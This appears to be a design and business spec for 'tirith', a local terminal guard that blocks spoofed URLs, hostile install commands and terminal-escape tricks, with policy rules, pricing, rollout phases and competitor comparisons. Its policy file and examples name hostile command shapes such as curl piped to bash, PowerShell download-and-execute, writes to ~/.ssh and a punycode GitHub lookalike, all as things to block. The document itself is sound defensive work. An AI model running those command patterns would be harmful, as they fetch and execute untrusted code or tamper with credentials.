rules:
# Hostname checks
non_ascii_hostname: block # default, homograph protection
punycode_domains: block # default
mixed_script_in_label: block # mixed script within same DNS label (excl. hyphen/digits)
bidi_controls: block # default
zero_width_chars: block # default
userinfo_urls: block # default, @ trick protection
confusable_domains: warn # visual similarity check
lookalike_tlds: warn # .zip, .mov, etc.
raw_ip_urls: block # no http://1.2.3.4/anything
non_standard_ports: warn # unexpected ports on known domains
# Path/URL checks
non_ascii_in_path: warn # confusables in URL path
double_encoding: warn # nested percent-encoding
shortened_urls: warn # flag but allow bit.ly etc.
# Transport checks
plain_http_to_sink: block # http:// + execution sink = no TLS = trivial MITM
schemeless_url_to_sink: warn # ambiguous scheme, likely HTTP
insecure_tls_flags: block # curl -k, wget --no-check-certificate (with sink)
insecure_tls_flags_no_sink: warn # curl -k without sink
# Command checks
pipe_to_shell: block # no curl|bash allowed, period
dotfile_overwrite: block # write to ~/.bashrc, ~/.ssh/*, etc.
dotfile_append: block # append to ~/.ssh/config, ~/.profile, etc.
heredoc_to_sensitive_file: block # heredoc targeting sensitive paths
download_to_path: warn # downloading into PATH directories
archive_extract_exec: warn # curl | tar x && ./install.sh
silent_download_pipe: warn # curl -s | bash
sudo_sink: warn # elevated privilege execution
remote_pipe: warn # ssh host 'curl | sh'
powershell_download_exec: warn # iwr | iex, irm | iex
# Terminal safety
ansi_escapes_in_paste: block # default, escape sequence injection
control_chars_in_paste: block # default, \r \b tricks
hidden_multiline_paste: warn # multi-line paste with hidden commands
# Environment checks
proxy_env_elevation: warn # elevate warnings when proxy env vars detected
# Special
allowed_registries: # only these for docker pull
- docker.io
- ghcr.io
- gcr.io
allowed_install_domains: # only these for curl|bash (if pipe_to_shell is warn, not block)
- get.example-tool.sh
- sh.rustup.rs
- raw.githubusercontent.com
allowed_package_sources: # only these for pip/npm from URL
- pypi.org
- registry.npmjs.org
allowed_idn_domains: [] # legitimate IDN domains to permit
allow_bypass_env: false # if false, TIRITH=0 is ignored
paranoia: medium
# low: purely local, no DNS, no network, no disk reads beyond allowlist.
# Checks: homographs, punycode, mixed-script, control chars, bidi, zero-width,
# userinfo, insecure TLS flags, plain HTTP to sink.
# medium: local + receipts + heavier tokenization + source-sink analysis.
# Adds: pipe-to-shell, IP URLs, dotfile clobber, command shape, archive chains,
# proxy env detection, confusable domains, path homoglyphs.
# high: network calls with strict timeouts and caching.
# Adds: shortened URL expansion, redirect chain resolution, domain age,
# cert age checks. Org policy may restrict high to managed devices only.Policy is distributed via:
- Repo-level
.tirith/policy.yml - Org-level via tirith dashboard (pushed to all team members)
- MDM for enterprise environments
Individual developers cannot weaken org policy. They can add personal allowlist entries but cannot override block rules set by the org.
Available with team feed subscription:
This week across your org (14 developers):
Blocked: 3 homograph attempts
Warned: 12 pipe-to-shell commands
Allowed: 847 clean URLs (zero friction)
Top blocked: https://xn--gthub-esa.com (Cyrillic і) -- hit by 2 devs
Top warned: curl https://raw.githubusercontent.com/... | bash
New on blocklist: 7 domains targeting your stack
Receipt activity:
|- 23 install scripts run via tirith run
|- 3 scripts changed since last run (re-verification needed)
Feeds into SIEM via webhook/syslog export for enterprise.
- No command upload by default. The tool runs entirely locally. Commands, URLs, and audit logs never leave the machine unless explicitly configured.
- Feed sync is one-way pull. The client downloads the feed. It does not upload anything.
- Receipt sharing is opt-in. Users can choose to share anonymized receipt hashes (URL + SHA256 only, no paths, commands, or environment context) to help detect compromised install scripts. This is off by default and clearly disclosed.
- Team dashboard ingestion is explicit. The team tier requires explicit enrollment. Audit log shipping to the dashboard is configured per-machine, not silent.
- Aggressive redaction. If any data is shared (opt-in receipt hashes, team audit logs), path components, environment variables, and git branch names are stripped. Only URL, action, and timestamp are sent.
| Gotcha | Design decision |
|---|---|
| False positives on legitimate IDNs | Default block for punycode/non-ASCII hostnames. allowed_idn_domains in policy for specific overrides per org. |
| Privacy of pasted commands | Never uploaded. All analysis is local. |
Bypass attempts (TIRITH=0) |
Works by default for individual devs. Org policy can disable via allow_bypass_env: false. |
| Performance: allowlist-heavy workflows | Allowlist loaded into shell hash map at init. Lookups are O(1), binary never invoked for allowlisted hosts. |
| Performance: redirect resolution | Cached on disk for 5 minutes per URL. Only runs at paranoia high. Uses GET with Range: bytes=0-0, hard cap 10 redirects / 5s timeout. |
| Performance: DoS via large paste | Max paste length 64 KB (configurable). Max 50 URLs extracted per command. Max 3 normalization rounds. 50ms hard timeout on binary analysis (fail-open with log). |
| Non-interactive environments (CI, scripts, cron) | Never prompt. Default to policy action. Output to stderr only. |
| Shell compatibility | Core logic in Rust binary. Shell hooks are thin (~30 lines each). Tested on zsh 5.8+, bash 5.0+, fish 3.5+. |
| Terminals without bracketed paste | Preexec hook still catches at execution time. Paste guard is defense-in-depth, not the only layer. |
| Static analysis accuracy | Receipt fields like domains_referenced and paths_referenced are explicitly marked as "analysis_method": "static" (inferred). Runtime tracing is a future enhancement. |
| Ecosystem | Why | Install patterns at risk |
|---|---|---|
| DevOps / Infrastructure | Run install scripts as root on production servers | Docker, k3s, Helm, Istio, Linkerd, Tailscale |
| Cloud developers | Machines have AWS/GCP/Azure credentials | AWS CLI, gcloud SDK, Azure CLI |
| Frontend / JavaScript | Largest developer community | nvm, pnpm, Deno, Bun |
| Rust / Systems | Security-conscious, strong word-of-mouth | rustup, cargo-binstall |
| Data science / ML | GPU instances with broad network access, API keys | Ollama, Poetry, Miniconda |
| Web3 / Crypto | Real money at risk via spoofed RPCs and addresses | Foundry, Hardhat, Solana CLI |
| Mobile | App Store signing keys, push certs | SDKMAN, FVM |
| Persona | Risk profile |
|---|---|
| Individual developer | Personal credentials, SSH keys, cloud tokens |
| IT admin / sysadmin | sudo access, fleet management credentials |
| Security professional | Installs security tools via curl, best evangelists |
| Open source maintainer | Both a user and a monitor customer |
| Developer educator | Writes tutorials with curl commands copied by thousands |
| Buyer | Product | Why they pay |
|---|---|---|
| Individual developer | Feed ($7/mo) | New domain alerts, active campaign protection |
| Engineering manager | CI + team feed ($200-500/mo) | Governance, audit trail, repo scanning |
| CISO / Security team | CI + feed + policy ($500+/mo) | Compliance, enforceable rules, SIEM export |
| Open source project | Monitor ($30/mo) | Know when someone impersonates their domain, actionable abuse reports |
| Developer platform (Vercel, Railway) | White-label / API | Protect their users' deploy pipelines |
| Security vendors | Feed API | Integrate tirith data into their product |
| CI/CD platforms (GitHub, GitLab) | Partnership / acquisition | Native integration |
| Phase | Target | Channel | Rationale |
|---|---|---|---|
| 1 | Rust + Web3 devs | Twitter/X, Farcaster | Security-obsessed, vocal, original problem space |
| 2 | DevOps engineers | Hacker News, Reddit r/devops | Highest risk (sudo curl | bash), largest surface |
| 3 | Frontend / JS devs | Twitter/X, dev.to | Largest community, nvm/bun/pnpm all use curl installers |
| 4 | Data / ML engineers | Twitter/X, HuggingFace community | Fast growing, Ollama install is massive surface |
| 5 | Enterprise security | Direct sales, CISO newsletters | Where the real revenue is |
| Phase | Ship | What | Why this order |
|---|---|---|---|
| 1 | OSS CLI + shell hook | Rust binary, zsh/bash/fish hooks, paste guard, hidden command detection, all URL checks (hostname: non-ASCII, punycode, mixed-script-in-label, bidi, zero-width, userinfo, confusable, raw IP, non-standard port, lookalike TLD, trailing dot; path: non-ASCII, homoglyph, double-encoding; transport: plain HTTP to sink, schemeless to sink, insecure TLS flags; environment: proxy detection), all command shape checks (full source-sink model incl. PowerShell sinks, archive chains, remote pipes, dotfile append, heredoc to sensitive file), control char / ANSI escape blocking, normalization/deobfuscation layer (with caps), pipe-to-shell safe mode, tirith run, install receipts, tirith why, tirith score, tirith diff, ecosystem guards (git, docker, pip, npm, web3), allowlist/blocklist, policy file, audit log |
Get adoption, validate detection engine, build community |
| 2 | CI scanner | GitHub App, CLI mode (tirith scan), PR diff-only commenting, full repo scan, baseline file, verified badge, GitHub Actions / GitLab CI integration |
First revenue — companies pay for CI integration |
| 3 | Threat feed | Feed infrastructure, signed feed delivery (ed25519), transparency log, daily/hourly sync, team dashboard, SIEM export, policy distribution | Requires data collection infra, needs phase 1 users to justify |
| 4 | Domain monitor | Cert transparency monitoring, registration monitoring, automatic feed integration, actionable alerts with abuse report templates + registrar contacts + evidence bundles | Needs feed infra from phase 3, different buyer persona |
What protects developers HERE?
|
v
Dev reads README --> copies URL --> pastes into terminal --> executes
|
+---------------+-------------------+
| | |
Semgrep Snyk Socket.dev
scans YOUR scans YOUR scans npm/pip
source code dependencies registries
after writing after installing during install
dnstwist
tells DOMAIN OWNER
about fakes, not
the developer
tirith
guards THE DEVELOPER
at paste time and
exec time, catches
terminal-specific attacks
no browser protects against
| Dimension | Semgrep | Snyk | Socket | dnstwist | tirith |
|---|---|---|---|---|---|
| Protects | Code authors | Dep consumers | Package installers | Domain owners | Command executors |
| When | Write / CI time | Build / CI time | Install time | On-demand | Paste + exec time |
| Against | Code vulns | Known CVEs | Malicious packages | Brand impersonation | Spoofed URLs, hostile scripts, terminal injection |
| How | AST matching | Vuln DB lookup | Behavior analysis | Domain permutation | Byte-level URL + source-sink model + terminal escape detection |
| Friction | CI config | CI config | GitHub App / CLI | Manual runs | Zero — transparent hook |
Semgrep, Snyk, and Socket protect your code and dependencies. tirith protects you, the human, at the moment you paste and hit enter.
The shell hook alone is replicable. What isn't:
- Threat feed — continuously updated with structurally clean but known-malicious domains. Requires ongoing research, not a one-time script.
- Source-sink engine — models download-to-execution patterns abstractly. Grows as new attack patterns emerge, harder to replicate than a regex list.
- CI scanner — no existing tool scans repos for URL execution surfaces in docs/scripts/configs.
- Install receipts — creates a unique data asset (script hashes over time) that enables change detection across the user base.
- Network effect — monitor customers find threats, threats feed into feed, feed protects free users, free users become customers.
| Path | Precedent |
|---|---|
| CI/CD platform acquisition (GitHub, GitLab) | They want native integration for developer protection |
| Security vendor acquisition (CrowdStrike, Palo Alto) | Endpoint protection for developer machines |
| Independent growth | Feed + CI + monitor recurring revenue |
Socket built their moat with a unique data asset (malicious package detection) that platforms wanted to integrate natively. tirith's data asset is the threat feed + install receipt corpus + source-sink pattern engine at an insertion point nobody else occupies.
This spec is comprehensive but too long for casual OSS adopters. For public release, split into:
- README.md — Problem, 60-second install, what gets blocked, 3-4 examples. Under 200 lines. The "holy crap" moment should happen fast.
- docs/design.md — Threat model, source-sink model, normalization, receipts, fast-path architecture.
- docs/policy.md — Policy schema, paranoia tiers, enterprise behaviors, team governance.
- docs/ci.md — CI scanner details, diff-only mode, baseline, badge.
- docs/monitor.md — Domain monitoring, actionable alerts, evidence bundles.
- docs/feed.md — Feed format, transparency log, signing, sync behavior.